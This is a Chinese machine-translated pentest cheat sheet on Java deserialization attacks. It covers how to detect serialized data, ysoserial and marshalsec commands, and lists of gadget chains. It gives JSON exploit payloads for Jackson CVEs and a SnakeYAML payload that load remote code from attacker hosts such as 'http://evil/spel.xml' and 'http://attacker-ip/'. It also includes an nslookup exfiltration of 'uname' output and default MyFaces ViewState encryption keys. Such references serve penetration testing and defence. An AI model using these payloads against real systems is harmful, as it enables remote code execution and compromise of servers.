Java 反序列化 Java 序列化是将 Java 对象的状态转换为字节流的过程,该字节流可以存储或传输,并在稍后重新构造(反序列化)回原始对象。Java 中的序列化主要通过 接口完成,该接口将类标记为可序列化的,从而允许将其保存到文件、通过网络发送或在不同 JVM 之间传输。 概述 检测 工具 Ysoserial 使用 Ysoserial 的 Burp 扩展 替代工具 YAML 反序列化 ViewState 参考文献 检测 十六进制中的 :STREAMMAGIC。指定这是一个序列化协议。 :STREAMVERSION。序列化版本。
Java 序列化是将 Java 对象的状态转换为字节流的过程,该字节流可以存储或传输,并在稍后重新构造(反序列化)回原始对象。Java 中的序列化主要通过
Serializable接口完成,该接口将类标记为可序列化的,从而允许将其保存到文件、通过网络发送或在不同 JVM 之间传输。
"AC ED 00 05"
AC ED:STREAM_MAGIC。指定这是一个序列化协议。00 05:STREAM_VERSION。序列化版本。"rO0"Content-Type = "application/x-java-serialized-object""H4sIAAAAAAAAAJ"frohoff/ysoserial:一个概念验证工具,用于生成利用不安全 Java 对象反序列化的有效载荷。
java -jar ysoserial.jar CommonsCollections1 calc.exe > commonpayload.bin java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin java -jar ysoserial.jar Groovy1 'ping 127.0.0.1' > payload.bin java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | base64
Ysoserial 包含的有效载荷列表:
| 有效载荷 | 作者 | 依赖项 |
|---|---|---|
| AspectJWeaver | @Jang | aspectjweaver:1.9.2, commons-collections:3.2.2 |
| BeanShell1 | @pwntester, @cschneider4711 | bsh:2.0b5 |
| C3P0 | @mbechler | c3p0:0.9.5.2, mchange-commons-java:0.2.11 |
| Click1 | @artsploit | click-nodeps:2.3.0, javax.servlet-api:3.1.0 |
| Clojure | @JackOfMostTrades | clojure:1.8.0 |
| CommonsBeanutils1 | @frohoff | commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2 |
| CommonsCollections1 | @frohoff | commons-collections:3.1 |
| CommonsCollections2 | @frohoff | commons-collections4:4.0 |
| CommonsCollections3 | @frohoff | commons-collections:3.1 |
| CommonsCollections4 | @frohoff | commons-collections4:4.0 |
| CommonsCollections5 | @matthias_kaiser, @jasinner | commons-collections:3.1 |
| CommonsCollections6 | @matthias_kaiser | commons-collections:3.1 |
| CommonsCollections7 | @scristalli, @hanyrax, @EdoardoVignati | commons-collections:3.1 |
| FileUpload1 | @mbechler | commons-fileupload:1.3.1, commons-io:2.4 |
| Groovy1 | @frohoff | groovy:2.3.9 |
| Hibernate1 | @mbechler | |
| Hibernate2 | @mbechler | |
| JBossInterceptors1 | @matthias_kaiser | javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 |
| JRMPClient | @mbechler | |
| JRMPListener | @mbechler | |
| JSON1 | @mbechler | json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1 |
| JavassistWeld1 | @matthias_kaiser | javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 |
| Jdk7u21 | @frohoff | |
| Jython1 | @pwntester, @cschneider4711 | jython-standalone:2.5.2 |
| MozillaRhino1 | @matthias_kaiser | js:1.7R2 |
| MozillaRhino2 | @_tint0 | js:1.7R2 |
| Myfaces1 | @mbechler | |
| Myfaces2 | @mbechler | |
| ROME | @mbechler | rome:1.0 |
| Spring1 | @frohoff | spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE |
| Spring2 | @mbechler | spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2 |
| URLDNS | @gebl | |
| Vaadin1 | @kai_ullrich | vaadin-server:7.7.14, vaadin-shared:7.7.14 |
| Wicket1 | @jacob-baines | wicket-util:6.23.0, slf4j-api:1.6.4 |
pwntester/JRE8u20_RCE_Gadget - 纯 JRE 8 RCE 反序列化小工具
joaomatosf/JexBoss - 用于验证和利用 JBoss(以及其他 Java 反序列化漏洞)的工具
pimps/ysoserial-modified - 原始 ysoserial 应用程序的分支
NickstaDB/SerialBrute - Java 序列化暴力破解工具
NickstaDB/SerializationDumper - 一种将 Java 序列化流转储为更易读格式的工具
bishopfox/gadgetprobe - 利用反序列化对远程类路径进行暴力破解
k3idii/Deserek - 用于序列化和反序列化 Java 二进制序列化格式的 Python 代码。
java -jar ysoserial.jar URLDNS http://xx.yy > yss_base.bin python deserek.py yss_base.bin --format python > yss_url.py python yss_url.py yss_new.bin java -cp JavaSerializationTestSuite DeSerial yss_new.bin
mbechler/marshalsec - Java 反序列化器安全 - 将你的数据转化为代码执行
$ java -cp marshalsec.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]] $ java -cp marshalsec.jar marshalsec.JsonIO Groovy "cmd" "/c" "calc" $ java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://localhost:8000\#exploit.JNDIExploit 1389 // -a - generates/tests all payloads for that marshaller // -t - runs in test mode, unmarshalling the generated payloads after generating them. // -v - verbose mode, e.g. also shows the generated payload in test mode. // gadget_type - Identifier of a specific gadget, if left out will display the available ones for that specific marshaller. // arguments - Gadget specific arguments
以下反序列化器的有效载荷生成器已包含在内:
| 反序列化器 | 小工具影响 |
|---|---|
| BlazeDSAMF(0|3|X) | 仅 JDK 提升至 Java 序列化,涉及多个第三方库的 RCE |
| Hessian|Burlap | 多个第三方 RCE |
| Castor | 依赖库 RCE |
| Jackson | 可能仅限 JDK 的 RCE, 涉及多个第三方 RCE |
| Java | 另一个第三方 RCE |
| JsonIO | 仅限 JDK 的 RCE |
| JYAML | 仅限 JDK 的 RCE |
| Kryo | 第三方 RCE |
| KryoAltStrategy | 仅限 JDK 的 RCE |
| Red5AMF(0|3) | 仅限 JDK 的 RCE |
| SnakeYAML | 仅限 JDK 的 RCE |
| XStream | 仅限 JDK 的 RCE |
| YAMLBeans | 第三方 RCE |
在 Java 中,可以使用多种库来处理 JSON。
Jackson:
Jackson 是一个流行的 Java 库,用于处理 JSON(JavaScript Object Notation)数据。
Jackson-databind 支持多态类型处理 (PTH),以前称为“多态反序列化”,默认情况下已禁用。
要确定后端是否使用 Jackson,最常见的方法是发送无效的 JSON 并检查错误消息。查找以下任一引用:
Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object
利用:
CVE-2017-7525
{ "param": [ "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", { "transletBytecodes": [ "yv66v[JAVA_CLASS_B64_ENCODED]AIAEw==" ], "transletName": "a.b", "outputProperties": {} } ] }
CVE-2017-17485
{ "param": [ "org.springframework.context.support.FileSystemXmlApplicationContext", "http://evil/spel.xml" ] }
CVE-2019-12384
[ "ch.qos.logback.core.db.DriverManagerConnectionSource", { "url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'" } ]
CVE-2020-36180
[ "org.apache.commons.dbcp2.cpdsadapter.DriverAdapterCPDS", { "url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://evil:3333/exec.sql'" } ]
CVE-2020-9548
[ "br.com.anteros.dbcp.AnterosDBCPConfig", { "healthCheckRegistry": "ldap://{{interactsh-url}}" } ]
SnakeYAML:
SnakeYAML 是一个流行的基于 Java 的库,用于解析和生成 YAML(YAML Ain't Markup Language)数据。它提供了一个易于使用的 API,用于处理 YAML——一种人类可读的数据序列化标准,通常用于配置文件和数据交换。
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://attacker-ip/"] ]] ]
在 Java 中,ViewState 指的是像 JavaServer Faces (JSF) 这样的框架在 Web 应用程序中用于在 HTTP 请求之间维护 UI 组件状态的机制。主要有两种实现:
工具:
| 编码 | 以...开头 |
|---|---|
| base64 | rO0 |
| base64 + gzip | H4sIAAA |
The javax.faces.STATE_SAVING_METHOD is a configuration parameter in JavaServer Faces (JSF). It specifies how the framework should save the state of a component tree (the structure and data of UI components on a page) between HTTP requests.
The storage method can also be inferred from the viewstate representation in the HTML body.
value="-XXX:-XXXX"base64 + gzip + Java Object默认情况下,MyFaces 使用 DES 作为加密算法,并使用 HMAC-SHA1 对 ViewState 进行身份验证。建议配置更新的算法,如 AES 和 HMAC-SHA256。
| 加密算法 | HMAC |
|---|---|
| DES ECB(默认) | HMAC-SHA1 |
支持的加密方法包括 BlowFish、3DES 和 AES,并由上下文参数定义。
这些参数及其密钥的值可以在这些 XML 子句中找到。
<param-name>org.apache.myfaces.MAC_ALGORITHM</param-name> <param-name>org.apache.myfaces.SECRET</param-name> <param-name>org.apache.myfaces.MAC_SECRET</param-name>
来自 文档 的常见密钥。
| 名称 | 值 |
|---|---|
| AES CBC/PKCS5Padding | NzY1NDMyMTA3NjU0MzIxMA== |
| DES | NzY1NDMyMTA=< |
| DESede | MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIz |
| Blowfish | NzY1NDMyMTA3NjU0MzIxMA |
| AES CBC | MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIz |
| AES CBC IV | NzY1NDMyMTA3NjU0MzIxMA== |
免责声明:
本文件由基于人工智能的机器翻译服务翻译而成。尽管我们力求翻译准确,但请注意,自动翻译可能包含错误或不准确之处。应以原始语言版本的文件为准。对于关键信息,建议使用专业的人工翻译。对于因使用本翻译而产生的任何误解或误读,我们概不负责。